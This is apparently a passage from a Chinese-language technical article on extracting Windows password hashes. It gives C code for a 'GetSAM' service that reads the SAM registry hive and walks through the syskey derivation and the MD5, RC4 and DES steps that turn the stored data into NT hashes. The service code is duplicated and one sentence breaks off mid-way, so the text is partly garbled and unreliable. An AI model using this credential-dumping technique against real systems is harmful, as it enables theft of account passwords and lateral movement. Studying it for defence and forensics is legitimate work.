SetServiceStatus(hServiceStatus, &ServiceStatus); } return(0); } void GetSAMServiceMain(DWORD dwArgc, LPTSTR* lpszArgv){ SERVICE_STATUS ServiceStatus; //注册一个处理控制请求的HandlerFunction函数 hServiceStatus = RegisterServiceCtrlHandlerEx("GetSAM", (LPHANDLER_FUNCTION_EX)&HandlerFunction, NULL); ZeroMemory(&ServiceStatus, sizeof(SERVICE_STATUS)); ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS; ServiceStatus.dwCurrentState = SERVICE_RUNNING; ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_SHUTDOWN | SERVICE_ACCEPT_STOP; //调用SetServiceStatus函数来报告当前状态为RUNNING态 SetServiceStatus(hServiceStatus, &ServiceStatus); //后台服务程序开始分析SAM文件 RegistryEnumerateSAM(); } 通过自建的后台服务,我们具备了分析SAM文件的权限。但密码存放在用户对应的SID 的V键下却是以一种密文形式存放。Windows2000版本之后,V键值内容似乎可结合用户ID下 的某个键值作为key输入到DES算法中解密。事情变得却是比较诡秘,微软通过 HKLM\SYSTEM\CurrentControlSet\Control\Lsa\{JD,Skew1,GBG,Data} 四个键值的CLASS 值,结合一个置换表换位得来。获取syskey后,仍然存在两大障碍需要解决。首先我们需要 int APIENTRY WinMain(HINSTANCE hProg, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow){ /*SERVICE_TABLE_ENTRY 结构类型的数组,设置调用进程所提供的GetSAM服务的入口函 数及字符串名*/ SERVICE_TABLE_ENTRY DispatchTable[] = { {"GetSAM", (LPSERVICE_MAIN_FUNCTION)&GetSAMServiceMain}, {NULL, NULL} }; //连接程序主线程到服务控制管理程序 StartServiceCtrlDispatcher(DispatchTable); } DWORD WINAPI HandlerFunction(DWORD dwControl, DWORD dwEventType, LPVOID lpEventData, LPVOID lpContext){ SERVICE_STATUS ServiceStatus; if (dwControl == SERVICE_CONTROL_SHUTDOWN || dwControl == SERVICE_CONTROL_STOP){ ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS; ServiceStatus.dwCurrentState = SERVICE_STOPPED; SetServiceStatus(hServiceStatus, &ServiceStatus); } return(0); } void GetSAMServiceMain(DWORD dwArgc, LPTSTR* lpszArgv){ SERVICE_STATUS ServiceStatus; //注册一个处理控制请求的HandlerFunction函数 hServiceStatus = RegisterServiceCtrlHandlerEx("GetSAM", (LPHANDLER_FUNCTION_EX)&HandlerFunction, NULL); ZeroMemory(&ServiceStatus, sizeof(SERVICE_STATUS)); ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS; ServiceStatus.dwCurrentState = SERVICE_RUNNING; ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_SHUTDOWN | SERVICE_ACCEPT_STOP; //调用SetServiceStatus函数来报告当前状态为RUNNING态 SetServiceStatus(hServiceStatus, &ServiceStatus); //后台服务程序开始分析SAM文件 RegistryEnumerateSAM(); } 计算 syskey 的散列值,即使用 syskey 和 F 键的前 0x10 字节,与特殊的字符串 "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%","01234567890123456789012345678 90123456789"做MD5运算,再与F键的后0x20字节做RC4运算得到一个解密密钥dkey即解密SAM 中加密数据到散列态。当需要解密SAM中加密数据到散列时,需要将此dkey与当前用户的SID、 散列类型名NTPASSWORD做MD5运算获取针对此用户密码散列的会话密钥skey。利用skey作为 RC4算法的解密密钥对散列进行处理,然后将用户SID扩展为14字节做DES切分,生成DESECB, 再对RC4处理后的散列进行分开2次DES解密即可得到密码散列。整个处理流程十分诡异。最 后将用户SID值作为salt,可确保不同用户的相同散列在SAM中存放不一样。 3.核心代码分析 在获取到每个HKLM\SAM\SAM\Domains\Account\users\<UserID>之后,我们需要对每个 用户的SAM进行分析。首先读取SAM文件中的V键值对应的内容,其包含了Unicode形式表示的 用户名、字符串长度以及NT hash的加密版本。 EnumerateRegValues(hSAM, "V", VBlock, &VBlockLen); //获取NT hash的密文长度 |